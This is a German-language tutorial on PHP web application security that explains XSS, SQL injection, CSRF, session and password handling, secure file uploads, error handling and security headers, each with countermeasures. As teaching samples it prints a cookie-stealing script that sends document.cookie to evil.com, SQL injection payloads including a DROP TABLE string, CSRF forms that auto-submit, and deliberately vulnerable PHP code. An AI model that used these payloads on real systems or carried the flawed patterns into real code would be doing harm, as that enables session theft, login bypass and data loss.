PHP Sicherheit
Schütze deine Anwendungen vor den häufigsten Angriffen. Verstehen, erkennen, abwehren.
Warum ist PHP-Sicherheit so wichtig?
PHP-Anwendungen sind ein beliebtes Ziel für Angreifer - nicht weil PHP unsicher ist, sondern weil es so weit verbreitet ist und viele Entwickler Sicherheitsaspekte unterschätzen oder nicht kennen.
Ein einziger Sicherheitsfehler kann ausreichen, um:
- Deine gesamte Datenbank zu kompromittieren
- Nutzerdaten zu stehlen
- Deine Website zu manipulieren
- Deine Server zu übernehmen
- Malware zu verbreiten
Sicherheit ist kein Feature - es ist eine Grundvoraussetzung.
Die OWASP Top 10
Die Open Web Application Security Project (OWASP) veröffentlicht regelmäßig die häufigsten Sicherheitsprobleme. In diesem Tutorial behandeln wir die wichtigsten davon:
- Injection (SQL Injection, Command Injection)
- Broken Authentication (Session-Management, Passwörter)
- Cross-Site Scripting (XSS)
- Insecure Direct Object References
- Security Misconfiguration
- Cross-Site Request Forgery (CSRF)
- File Upload Vulnerabilities
Vertraue niemals Nutzereingaben! Das ist die goldene Regel. Alles, was von außen kommt - Formulare, URLs, Cookies, HTTP-Header - kann manipuliert sein. Immer validieren, immer bereinigen, immer überprüfen.
Cross-Site Scripting (XSS)
XSS ist einer der häufigsten Angriffe. Dabei schleust ein Angreifer schädlichen JavaScript-Code in deine Website ein, der dann im Browser anderer Nutzer ausgeführt wird.
Wie funktioniert XSS?
Stell dir vor, du hast ein Kommentarfeld ohne Sicherheitsmaßnahmen:
<?php
// GEFÄHRLICH - NIEMALS SO!
$kommentar = $_POST['kommentar'];
echo "<p>" . $kommentar . "</p>";
?>
Ein Angreifer könnte jetzt eingeben:
<script>
// Cookies stehlen und an Angreifer senden
fetch('https://evil.com/steal.php?cookie=' + document.cookie);
</script>
Oder subtiler:
<img src="x" onerror="alert('Gehackt!')">
- Session-Cookies stehlen und sich als Nutzer ausgeben
- Formulare manipulieren (z.B. Bankdaten umleiten)
- Nutzer auf Phishing-Seiten umleiten
- Tastatureingaben aufzeichnen (Keylogger)
- Die gesamte Seite manipulieren
Schutz vor XSS: htmlspecialchars()
Die Lösung ist einfach, aber du musst sie konsequent anwenden:
<?php
// SICHER
$kommentar = $_POST['kommentar'] ?? '';
echo "<p>" . htmlspecialchars($kommentar, ENT_QUOTES, 'UTF-8') . "</p>";
?>
Was macht htmlspecialchars()?
Es wandelt gefährliche Zeichen in harmlose HTML-Entities um:
<?php
$input = '<script>alert("XSS")</script>';
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Ausgabe: <script>alert("XSS")</script>
// Der Browser zeigt den Text an, führt ihn aber nicht aus!
?>
ENT_QUOTES- Wandelt auch einfache und doppelte Anführungszeichen um'UTF-8'- Encoding (wichtig für Umlaute, Emojis etc.)- Diese Kombination ist der Standard für sichere Ausgabe
Helper-Funktion für schnelleren Zugriff
Damit du nicht jedes Mal die gleichen Parameter schreiben musst:
<?php
// In functions.php oder am Anfang deiner Datei
function esc(string $string): string {
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
// Dann einfach:
$name = $_POST['name'] ?? '';
echo esc($name);
?>
XSS in verschiedenen Kontexten
In HTML-Attributen
<?php
$title = $_GET['title'] ?? '';
// RICHTIG
echo '<div title="' . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . '">';
?>
In JavaScript (extra vorsichtig!)
<?php
$username = $_SESSION['username'] ?? 'Gast';
// GEFÄHRLICH
echo "<script>var user = '$username';</script>";
?>
<?php
$username = $_SESSION['username'] ?? 'Gast';
// BESSER: JSON-Encoding nutzen
echo '<script>var user = ' . json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';
?>
Wenn du PHP-Werte in JavaScript brauchst, nutze Data-Attribute und lies sie mit JS aus.
Content Security Policy (CSP)
Eine zusätzliche Schutzebene gegen XSS:
<?php
// Verbiete inline-Scripts und erlaube nur Scripts von eigener Domain
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
?>
Oder im HTML-Head:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
SQL Injection - Der Klassiker
SQL Injection ist eine der gefährlichsten Angriffsmethoden. Dabei manipuliert ein Angreifer deine Datenbankabfragen, um Daten zu stehlen, zu ändern oder zu löschen.
Wie funktioniert SQL Injection?
Stell dir vor, du hast diesen Code:
<?php
// EXTREM GEFÄHRLICH - NIEMALS SO!
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
?>
Ein Angreifer könnte als Username eingeben:
admin' OR '1'='1
Die resultierende SQL-Abfrage wäre dann:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = ''
Da '1'='1' immer wahr ist, gibt diese Abfrage alle Nutzer
zurück -
ohne Passwort!
Ein Angreifer könnte auch eingeben:
admin'; DROP TABLE users; --
Das würde deine gesamte User-Tabelle löschen!
Schutz vor SQL Injection: Prepared Statements
Die Lösung: Prepared Statements mit PDO
Das ist der moderne, sichere Standard:
<?php
// SICHER mit PDO Prepared Statements
try {
// Datenbankverbindung aufbauen
$pdo = new PDO(
'mysql:host=localhost;dbname=meine_db;charset=utf8mb4',
'username',
'password',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false
]
);
// Prepared Statement vorbereiten
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
// Werte binden (automatisch escaped!)
$stmt->execute([
':username' => $_POST['username'],
':password' => $_POST['password'] // In Realität: Passwort-Hash!
]);
// Ergebnis holen
$user = $stmt->fetch();
if ($user) {
echo "Login erfolgreich!";
} else {
echo "Login fehlgeschlagen!";
}
} catch (PDOException $e) {
// Fehler loggen, aber NICHT dem Nutzer zeigen!
error_log($e->getMessage());
echo "Ein Fehler ist aufgetreten.";
}
?>
- SQL-Query und Daten werden getrennt zum Datenbankserver geschickt
- Die Datenbank weiß genau: "Das ist Code, das sind Daten"
- Nutzereingaben können die SQL-Struktur nicht verändern
- Kein manuelles Escaping nötig - passiert automatisch
Verschiedene Bind-Methoden
Named Parameters (empfohlen)
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email AND age > :age');
$stmt->execute([
':email' => $email,
':age' => $age
]);
?>
Positional Parameters
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND age > ?');
$stmt->execute([$email, $age]);
?>
Was du NICHT mit Prepared Statements machen kannst
Prepared Statements funktionieren nur für Werte, nicht für:
- Tabellennamen
- Spaltennamen
- SQL-Keywords (ORDER BY, ASC/DESC, etc.)
Beispiel: Dynamische Sortierung
<?php
$sortColumn = $_GET['sort'] ?? 'name';
// ⨯ GEHT NICHT mit Prepared Statement
// $stmt = $pdo->prepare("SELECT * FROM users ORDER BY :column");
// ✓ LÖSUNG: Whitelist verwenden
$allowedColumns = ['name', 'email', 'created_at'];
if (!in_array($sortColumn, $allowedColumns)) {
$sortColumn = 'name'; // Fallback auf Standard
}
// Jetzt ist es sicher, den Spaltennamen direkt einzufügen
$stmt = $pdo->prepare("SELECT * FROM users ORDER BY $sortColumn");
$stmt->execute();
?>
Wenn du Tabellen- oder Spaltennamen dynamisch nutzen musst:
- Nutze immer eine Whitelist erlaubter Werte
- Validiere die Eingabe streng
- Niemals direkte Nutzereingaben in SQL-Struktur einfügen
Connection-Setup in separater Datei
Best Practice: Datenbankverbindung in eigene Datei auslagern:
<?php
// config/database.php
function getDB(): PDO {
static $pdo = null;
if ($pdo === null) {
try {
$pdo = new PDO(
'mysql:host=localhost;dbname=meine_db;charset=utf8mb4',
'username',
'password',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false
]
);
} catch (PDOException $e) {
error_log('Database connection failed: ' . $e->getMessage());
die('Verbindung zur Datenbank fehlgeschlagen.');
}
}
return $pdo;
}
// Dann in anderen Dateien:
// $pdo = getDB();
?>
Cross-Site Request Forgery (CSRF)
Bei CSRF-Angriffen wird ein eingeloggter Nutzer dazu gebracht, ungewollt Aktionen auf deiner Website auszuführen - ohne dass er es merkt.
Wie funktioniert CSRF?
Szenario: Du bist bei deiner Bank eingeloggt. Ein Angreifer schickt dir eine E-Mail mit diesem unsichtbaren Bild:
<img src="https://bank.de/transfer.php?to=angreifer&amount=10000" width="0" height="0">
Wenn du die E-Mail öffnest, lädt dein Browser automatisch das "Bild" - und führt die Überweisung aus, weil du ja eingeloggt bist!
Ein Angreifer kann ein unsichtbares Formular auf einer fremden Seite einbauen, das automatisch abgeschickt wird:
<form action="https://deine-seite.de/delete-account.php" method="post" id="csrf">
<input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById('csrf').submit();</script>
Schutz vor CSRF: Tokens
Die Lösung: CSRF-Tokens - zufällige, einmalige Werte, die bei jedem Formular mitgeschickt werden.
CSRF-Token generieren und prüfen
<?php
// functions.php oder security.php
session_start();
/**
* CSRF-Token generieren und in Session speichern
*/
function generateCSRFToken(): string {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
/**
* CSRF-Token validieren
*/
function validateCSRFToken(string $token): bool {
return isset($_SESSION['csrf_token'])
&& hash_equals($_SESSION['csrf_token'], $token);
}
/**
* CSRF-Token als Hidden Input ausgeben
*/
function csrfField(): string {
$token = generateCSRFToken();
return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token, ENT_QUOTES, 'UTF-8') . '">';
}
?>
Token in Formular einbauen
<?php
require_once 'functions.php';
session_start();
?>
<form method="post" action="delete-account.php">
<!-- CSRF-Token einfügen -->
<?php echo csrfField(); ?>
<label for="confirm">
<input type="checkbox" id="confirm" name="confirm" required>
Ja, ich möchte meinen Account wirklich löschen
</label>
<button type="submit">Account löschen</button>
</form>
Token beim Verarbeiten prüfen
<?php
// delete-account.php
require_once 'functions.php';
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// CSRF-Token prüfen (IMMER als erstes!)
$token = $_POST['csrf_token'] ?? '';
if (!validateCSRFToken($token)) {
die('Ungültiger CSRF-Token. Sicherheitswarnung!');
}
// Jetzt erst weitere Verarbeitung
if (isset($_POST['confirm'])) {
// Account löschen...
echo "Account wurde gelöscht.";
}
}
?>
Normales === ist anfällig für Timing-Attacks (ein Angreifer
könnte am Zeitunterschied erkennen, wie viele Zeichen richtig sind).
hash_equals() vergleicht in konstanter Zeit und ist daher sicher.
Zusätzlicher Schutz: SameSite-Cookie-Attribut
<?php
// Session-Cookie-Einstellungen (am Anfang, vor session_start())
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '', // Deine Domain
'secure' => true, // Nur über HTTPS
'httponly' => true, // Nicht per JavaScript zugreifbar
'samesite' => 'Strict' // CSRF-Schutz
]);
session_start();
?>
Strict- Cookie wird nur bei Requests von gleicher Domain gesendet (am sichersten)Lax- Cookie wird bei Top-Level-Navigation gesendet (z.B. Link-Klicks)None- Cookie wird immer gesendet (nur mit Secure-Flag)
Session-Sicherheit
Sessions sind super praktisch, um Nutzer eingeloggt zu halten - aber auch ein beliebtes Angriffsziel.
Session Hijacking
Bei Session Hijacking stiehlt ein Angreifer die Session-ID eines Nutzers und gibt sich als dieser aus.
Angriffsvektoren
- XSS: JavaScript stiehlt Session-Cookie
document.cookie - Network Sniffing: Session-ID wird über unverschlüsselte Verbindung abgefangen
- Session Fixation: Angreifer setzt Session-ID des Opfers
Sichere Session-Konfiguration
<?php
// session-config.php
// 1. Vor session_start() konfigurieren
ini_set('session.use_strict_mode', '1'); // Nur Server-generierte Session-IDs
ini_set('session.cookie_httponly', '1'); // Kein JavaScript-Zugriff
ini_set('session.cookie_secure', '1'); // Nur über HTTPS
ini_set('session.use_only_cookies', '1'); // Keine Session-ID in URL
ini_set('session.cookie_samesite', 'Strict'); // CSRF-Schutz
// Oder mit session_set_cookie_params (moderner)
session_set_cookie_params([
'lifetime' => 3600, // 1 Stunde
'path' => '/',
'domain' => '',
'secure' => true, // Nur HTTPS
'httponly' => true, // XSS-Schutz
'samesite' => 'Strict' // CSRF-Schutz
]);
// 2. Session starten
session_start();
// 3. Session-ID nach Login regenerieren (gegen Fixation)
function regenerateSession(): void {
session_regenerate_id(true); // true = alte Session löschen
}
?>
Komplettes Login-System mit Security
<?php
// login.php
require_once 'session-config.php';
require_once 'database.php';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = trim($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';
if (empty($email) || empty($password)) {
$error = 'Bitte alle Felder ausfüllen.';
} else {
try {
$pdo = getDB();
// User aus Datenbank holen
$stmt = $pdo->prepare('SELECT id, email, password_hash FROM users WHERE email = :email');
$stmt->execute([':email' => $email]);
$user = $stmt->fetch();
// Passwort prüfen
if ($user && password_verify($password, $user['password_hash'])) {
// Session-ID regenerieren (wichtig!)
session_regenerate_id(true);
// User-Daten in Session speichern
$_SESSION['user_id'] = $user['id'];
$_SESSION['user_email'] = $user['email'];
$_SESSION['logged_in'] = true;
// Optional: IP und User Agent speichern (für zusätzliche Sicherheit)
$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
// Weiterleitung
header('Location: dashboard.php');
exit;
} else {
// Nicht verraten, ob Email oder Passwort falsch ist!
$error = 'Ungültige Anmeldedaten.';
}
} catch (PDOException $e) {
error_log('Login error: ' . $e->getMessage());
$error = 'Ein Fehler ist aufgetreten.';
}
}
}
?>
Session validieren bei jedem Request
<?php
// auth.php - Auf jeder geschützten Seite einbinden
require_once 'session-config.php';
function requireLogin(): void {
// Prüfen, ob eingeloggt
if (empty($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
header('Location: login.php');
exit;
}
// Optional: IP und User Agent validieren
// (kann zu Problemen führen bei dynamischen IPs oder Proxy-Wechsel)
if (
!empty($_SESSION['user_ip']) &&
$_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']
) {
// Potentieller Session-Hijacking-Versuch
session_destroy();
header('Location: login.php?error=security');
exit;
}
// Optional: Session-Timeout (z.B. nach 30 Minuten Inaktivität)
$timeout = 1800; // 30 Minuten in Sekunden
if (isset($_SESSION['last_activity']) &&
(time() - $_SESSION['last_activity']) > $timeout) {
session_destroy();
header('Location: login.php?error=timeout');
exit;
}
$_SESSION['last_activity'] = time();
}
// Auf geschützten Seiten:
// requireLogin();
?>
Sicherer Logout
<?php
// logout.php
require_once 'session-config.php';
// Session-Variablen löschen
$_SESSION = [];
// Session-Cookie löschen
if (ini_get('session.use_cookies')) {
$params = session_get_cookie_params();
setcookie(
session_name(),
'',
time() - 42000,
$params['path'],
$params['domain'],
$params['secure'],
$params['httponly']
);
}
// Session zerstören
session_destroy();
// Weiterleitung
header('Location: login.php');
exit;
?>
Viele Entwickler vergessen session_regenerate_id() nach dem Login. Das macht
dich anfällig für Session Fixation-Angriffe. Immer die Session-ID nach
Privilege-Changes (Login, Logout, Rollenwechsel) regenerieren!
Passwort-Sicherheit
Passwörter sind die erste Verteidigungslinie - und leider oft die schwächste.
Passwörter NIEMALS im Klartext speichern
<?php
// NIEMALS SO!
$password = $_POST['password'];
$stmt = $pdo->prepare('INSERT INTO users (email, password) VALUES (:email, :password)');
$stmt->execute([
':email' => $email,
':password' => $password // Klartext!
]);
?>
- Bei Datenbank-Leak haben Angreifer alle Passwörter
- Mitarbeiter mit DB-Zugriff können Passwörter sehen
- Viele Nutzer verwenden gleiche Passwörter auf mehreren Seiten
- Es ist in vielen Ländern illegal (DSGVO!)
Passwörter richtig hashen
<?php
// RICHTIG: Password-Hashing ✓
// Bei Registrierung
$password = $_POST['password'];
$passwordHash = password_hash($password, PASSWORD_DEFAULT);
// In Datenbank speichern
$stmt = $pdo->prepare('INSERT INTO users (email, password_hash) VALUES (:email, :password_hash)');
$stmt->execute([
':email' => $email,
':password_hash' => $passwordHash
]);
?>
Passwort-Verifikation
<?php
// Bei Login
$inputPassword = $_POST['password'];
// Hash aus Datenbank holen
$stmt = $pdo->prepare('SELECT password_hash FROM users WHERE email = :email');
$stmt->execute([':email' => $_POST['email']]);
$user = $stmt->fetch();
// Passwort verifizieren
if ($user && password_verify($inputPassword, $user['password_hash'])) {
echo "Login erfolgreich!";
// Optional: Hash aktualisieren, wenn neuer Algorithmus verfügbar
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
$newHash = password_hash($inputPassword, PASSWORD_DEFAULT);
// $newHash in Datenbank updaten...
}
} else {
echo "Falsches Passwort!";
}
?>
- Nutzt aktuell bcrypt (sicher und bewährt)
- Generiert automatisch ein Salt (zufällige Daten)
- Salt wird im Hash gespeichert - kein Extra-Feld nötig
- Mit
PASSWORD_DEFAULTnutzt PHP immer den besten verfügbaren Algorithmus
Passwort-Anforderungen
<?php
function validatePassword(string $password): array {
$errors = [];
// Mindestlänge
if (strlen($password) < 8) {
$errors[] = 'Passwort muss mindestens 8 Zeichen lang sein.';
}
// Maximal 72 Zeichen (bcrypt-Limit)
if (strlen($password) > 72) {
$errors[] = 'Passwort darf maximal 72 Zeichen lang sein.';
}
// Optional: Komplexität prüfen
if (!preg_match('/[A-Z]/', $password)) {
$errors[] = 'Passwort muss mindestens einen Großbuchstaben enthalten.';
}
if (!preg_match('/[a-z]/', $password)) {
$errors[] = 'Passwort muss mindestens einen Kleinbuchstaben enthalten.';
}
if (!preg_match('/[0-9]/', $password)) {
$errors[] = 'Passwort muss mindestens eine Zahl enthalten.';
}
// Optional: Sonderzeichen
if (!preg_match('/[^A-Za-z0-9]/', $password)) {
$errors[] = 'Passwort muss mindestens ein Sonderzeichen enthalten.';
}
return $errors;
}
// Verwendung
$errors = validatePassword($_POST['password']);
if (!empty($errors)) {
// Fehler anzeigen
}
?>
Moderne Empfehlungen (NIST, OWASP):
- Mindestlänge: 8-12 Zeichen (besser: länger)
- Keine erzwungene Komplexität (führt zu "Passwort123!")
- Kein erzwungener regelmäßiger Wechsel
- Wichtiger: Passwörter gegen bekannte Listen prüfen (Have I Been Pwned API)
Brute-Force-Schutz: Rate Limiting
<?php
// Einfaches Rate Limiting (in Realität: Redis/Memcached nutzen)
function checkLoginAttempts(string $email): bool {
$maxAttempts = 5;
$timeWindow = 900; // 15 Minuten
// Versuche aus DB holen
$stmt = $pdo->prepare('
SELECT COUNT(*) as attempts
FROM login_attempts
WHERE email = :email
AND attempted_at > :time_limit
');
$stmt->execute([
':email' => $email,
':time_limit' => date('Y-m-d H:i:s', time() - $timeWindow)
]);
$result = $stmt->fetch();
return $result['attempts'] < $maxAttempts;
}
function recordLoginAttempt(string $email, bool $success): void {
$stmt = $pdo->prepare('
INSERT INTO login_attempts (email, success, attempted_at)
VALUES (:email, :success, NOW())
');
$stmt->execute([
':email' => $email,
':success' => $success ? 1 : 0
]);
}
// Bei Login-Versuch
if (!checkLoginAttempts($email)) {
die('Zu viele Login-Versuche. Bitte warte 15 Minuten.');
}
// Nach Login-Versuch
recordLoginAttempt($email, $loginSuccess);
?>
Tabelle für Login-Attempts:
CREATE TABLE login_attempts (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(255) NOT NULL,
success BOOLEAN NOT NULL,
attempted_at DATETIME NOT NULL,
ip_address VARCHAR(45),
INDEX idx_email_time (email, attempted_at)
);
File Upload Sicherheit
File-Uploads sind extrem gefährlich, wenn nicht richtig abgesichert. Ein Angreifer könnte PHP-Dateien hochladen und ausführen!
Die Gefahren
- Remote Code Execution: Angreifer lädt PHP-Shell hoch und führt beliebigen Code aus
- Path Traversal: Angreifer überschreibt kritische System-Dateien
- XSS via SVG/HTML: Schädliche Scripts in Bildern
- DoS: Riesige Dateien füllen Server-Speicher
Sicherer File-Upload
<?php
// file-upload.php
// 1. Prüfe, ob Datei hochgeladen wurde
if (!isset($_FILES['upload']) || $_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
die('Fehler beim Upload.');
}
$file = $_FILES['upload'];
// 2. Größe prüfen (z.B. max 5MB)
$maxSize = 5 * 1024 * 1024; // 5MB in Bytes
if ($file['size'] > $maxSize) {
die('Datei zu groß. Maximum: 5MB');
}
// 3. MIME-Type validieren (nicht nur Extension!)
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (!in_array($mimeType, $allowedMimes)) {
die('Dateityp nicht erlaubt.');
}
// 4. Extension validieren (zusätzlich)
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($fileExtension, $allowedExtensions)) {
die('Dateiendung nicht erlaubt.');
}
// 5. Sicheren Dateinamen generieren (nicht vom User übernehmen!)
$safeFilename = bin2hex(random_bytes(16)) . '.' . $fileExtension;
// 6. Upload-Verzeichnis (AUSSERHALB des Web-Root!)
$uploadDir = '/var/www/uploads/'; // Nicht öffentlich zugänglich!
// Alternative: Öffentlich, aber ohne PHP-Ausführung
// $uploadDir = '/var/www/html/uploads/';
// Dann .htaccess in uploads/:
// php_flag engine off
// 7. Vollständiger Pfad
$destination = $uploadDir . $safeFilename;
// 8. Datei verschieben
if (!move_uploaded_file($file['tmp_name'], $destination)) {
die('Fehler beim Speichern.');
}
// 9. In Datenbank speichern
$stmt = $pdo->prepare('
INSERT INTO uploads (original_name, stored_name, mime_type, size, uploaded_at)
VALUES (:original, :stored, :mime, :size, NOW())
');
$stmt->execute([
':original' => basename($file['name']), // basename() entfernt Path-Komponenten
':stored' => $safeFilename,
':mime' => $mimeType,
':size' => $file['size']
]);
echo 'Upload erfolgreich!';
?>
Upload-Verzeichnis schützen
Option 1: Außerhalb Web-Root (am sichersten)
Uploads in Verzeichnis speichern, das nicht direkt per URL erreichbar ist:
<?php
// download.php - Dateien ausliefern mit Zugriffskontrolle
session_start();
// Zugriff prüfen
if (!isset($_SESSION['logged_in'])) {
die('Nicht berechtigt.');
}
$fileId = $_GET['id'] ?? 0;
// Dateiinfo aus DB holen
$stmt = $pdo->prepare('SELECT stored_name, original_name, mime_type FROM uploads WHERE id = :id');
$stmt->execute([':id' => $fileId]);
$file = $stmt->fetch();
if (!$file) {
die('Datei nicht gefunden.');
}
$filePath = '/var/www/uploads/' . $file['stored_name'];
if (!file_exists($filePath)) {
die('Datei nicht gefunden.');
}
// Headers setzen
header('Content-Type: ' . $file['mime_type']);
header('Content-Disposition: attachment; filename="' . $file['original_name'] . '"');
header('Content-Length: ' . filesize($filePath));
// Datei ausgeben
readfile($filePath);
exit;
?>
Option 2: .htaccess (wenn Web-Root nötig)
In /uploads/.htaccess:
# PHP-Ausführung deaktivieren
php_flag engine off
# Nur bestimmte Dateitypen erlauben
<FilesMatch "\.(jpg|jpeg|png|gif|pdf)$">
Order Allow,Deny
Allow from all
</FilesMatch>
# Alle anderen Dateien blockieren
<FilesMatch ".*">
Order Deny,Allow
Deny from all
</FilesMatch>
Zusätzliche Sicherheitsmaßnahmen
Bildervalidierung
<?php
// Prüfe, ob es wirklich ein Bild ist
function isValidImage(string $filePath): bool {
$imageInfo = @getimagesize($filePath);
if ($imageInfo === false) {
return false; // Kein Bild
}
// Erlaubte Bildtypen
$allowedTypes = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF];
return in_array($imageInfo[2], $allowedTypes);
}
// Nach Upload prüfen
if (!isValidImage($file['tmp_name'])) {
unlink($file['tmp_name']); // Temp-Datei löschen
die('Ungültige Bilddatei.');
}
?>
Dateinamen-Sanitization
<?php
function sanitizeFilename(string $filename): string {
// Entferne alle Zeichen außer: Buchstaben, Zahlen, Punkt, Unterstrich, Bindestrich
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
// Entferne mehrfache Punkte (Path Traversal Schutz)
$filename = preg_replace('/\.+/', '.', $filename);
// Maximal 255 Zeichen
return substr($filename, 0, 255);
}
?>
- NIEMALS Nutzer-Dateinamen direkt übernehmen
- NIEMALS nur Extension prüfen - immer auch MIME-Type
- NIEMALS in öffentliches Verzeichnis mit PHP-Ausführung speichern
- Immer Dateigröße limitieren
- Bei Bildern: getimagesize() nutzen, nicht nur MIME-Type
Error Handling und Information Disclosure
Zu detaillierte Fehlermeldungen können Angreifern wertvolle Informationen liefern.
Was du NICHT tun solltest
<?php
// ❌ Gefährlich: Zeigt Datenbankstruktur und Pfade
try {
$pdo = new PDO('mysql:host=localhost;dbname=secret_db', 'root', 'password123');
} catch (PDOException $e) {
echo "Fehler: " . $e->getMessage(); // ❌ Nie so!
// Ausgabe könnte sein: "SQLSTATE[28000]: Access denied for user 'root'@'localhost'"
}
?>
Richtige Fehlerbehandlung
<?php
// ✅ Entwicklung: Detaillierte Fehler anzeigen
if ($_ENV['APP_ENV'] === 'development') {
error_reporting(E_ALL);
ini_set('display_errors', '1');
} else {
// ✅ Produktion: Fehler loggen, nicht anzeigen
error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
ini_set('error_log', '/var/log/php-errors.log');
}
// Bei Datenbankfehlern
try {
$pdo = new PDO(/* ... */);
// Queries...
} catch (PDOException $e) {
// In Log schreiben
error_log('DB Error: ' . $e->getMessage());
// Nutzer sieht nur:
die('Ein Fehler ist aufgetreten. Bitte versuche es später erneut.');
}
?>
Custom Error Handler
<?php
// error-handler.php
function customErrorHandler($errno, $errstr, $errfile, $errline) {
// In Log schreiben
$logMessage = sprintf(
"[%s] Error %d: %s in %s on line %d",
date('Y-m-d H:i:s'),
$errno,
$errstr,
$errfile,
$errline
);
error_log($logMessage);
// In Produktion: Generische Fehlermeldung
if ($_ENV['APP_ENV'] === 'production') {
echo "Ein Fehler ist aufgetreten.";
exit;
}
return false; // Default Error Handler auch ausführen
}
set_error_handler('customErrorHandler');
?>
- Datenbankfehler: Tabellennamen, Spaltennamen, SQL-Queries
- PHP-Fehler: Dateipfade, Server-Konfiguration
- Login-Fehler: "Email nicht gefunden" vs. "Falsches Passwort"
- Stack Traces: Code-Struktur, verwendete Libraries
Login-Fehler richtig machen
<?php
// ✅ Gut: Generische Meldung
if (!$userExists || !password_verify($password, $hash)) {
echo "Ungültige Anmeldedaten.";
}
?>
<?php
// ❌ Schlecht: Verrät, ob Email existiert
if (!$userExists) {
echo "Diese E-Mail ist nicht registriert.";
} elseif (!password_verify($password, $hash)) {
echo "Falsches Passwort.";
}
?>
Security Headers
HTTP-Security-Headers sind eine zusätzliche Schutzebene. Sie werden vom Server an den Browser gesendet.
Wichtige Security Headers
<?php
// security-headers.php - Am Anfang jeder Seite einbinden
// 1. Verhindere MIME-Type-Sniffing
header('X-Content-Type-Options: nosniff');
// 2. XSS-Schutz aktivieren (veraltet, aber schadet nicht)
header('X-XSS-Protection: 1; mode=block');
// 3. Clickjacking-Schutz
header('X-Frame-Options: DENY'); // Oder: SAMEORIGIN
// 4. Erzwinge HTTPS
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
// 5. Content Security Policy (anpassen an deine Needs!)
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:");
// 6. Referrer Policy
header('Referrer-Policy: strict-origin-when-cross-origin');
// 7. Permissions Policy (früher Feature Policy)
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
?>
Header-Bedeutungen im Detail
Content-Security-Policy (CSP)
Definiert, welche Ressourcen geladen werden dürfen:
<?php
// Beispiel: Erlaube nur eigene Scripts und Styles, externe Bilder
header("Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none'
");
?>
X-Frame-Options
Verhindert, dass deine Seite in iframes eingebettet wird (Clickjacking-Schutz):
DENY- Keine iframes erlaubtSAMEORIGIN- Nur eigene Domain darf einbetten
Strict-Transport-Security (HSTS)
Erzwingt HTTPS für eine bestimmte Zeit:
<?php
// 1 Jahr HTTPS erzwingen, inkl. Subdomains
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
?>
Setze HSTS nur, wenn du sicher bist, dass deine Seite immer über HTTPS
läuft. Mit preload wird deine Domain in Browser-Listen eingetragen -
Rückgängig
machen kann Monate dauern!
Security-Checkliste
Hier ist deine Checkliste für sichere PHP-Anwendungen:
Input-Validierung & Output-Encoding
- Alle Nutzereingaben mit
htmlspecialchars()ausgeben - SQL-Queries nur mit Prepared Statements
- Formulardaten validieren (Typ, Länge, Format)
- Whitelists statt Blacklists verwenden
Authentication & Sessions
- Passwörter mit
password_hash()hashen - Session-ID nach Login regenerieren
- Secure, HttpOnly, SameSite Cookie-Flags setzen
- Rate Limiting für Login-Versuche
- Session-Timeout implementieren
CSRF-Schutz
- CSRF-Tokens in allen Formularen
- Token-Validierung mit
hash_equals() - SameSite-Cookie-Attribut nutzen
File Uploads
- MIME-Type UND Extension prüfen
- Dateigröße limitieren
- Sichere Dateinamen generieren
- Upload-Verzeichnis außerhalb Web-Root oder PHP-Ausführung deaktivieren
- Bei Bildern:
getimagesize()nutzen
Configuration
display_errors = Offin Produktion- Fehler in Log-Datei schreiben
- HTTPS verwenden (Let's Encrypt ist kostenlos!)
- Security Headers setzen
- PHP und Libraries aktuell halten
Database
- Prepared Statements für alle Queries
- Separater DB-User mit minimalen Rechten
